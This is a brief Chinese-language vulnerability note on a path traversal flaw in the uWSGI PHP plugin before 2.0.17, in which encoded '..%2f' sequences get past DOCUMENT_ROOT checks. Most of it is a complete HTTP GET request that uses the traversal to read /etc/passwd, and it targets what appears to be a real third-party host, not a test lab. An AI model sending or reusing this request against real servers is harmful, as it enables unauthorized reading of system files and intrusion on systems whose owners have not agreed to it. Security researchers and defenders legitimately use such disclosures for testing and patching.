uWSGI 2.0.17 之前的 PHP 插件，没有正确的处理 DOCUMENT_ROOT 检测，导致用户可以通过 ..%2f 来跨越目录，读取或运行 DOCUMENT_ROOT 目录以外的文件。
GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: downgame.shuowan.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
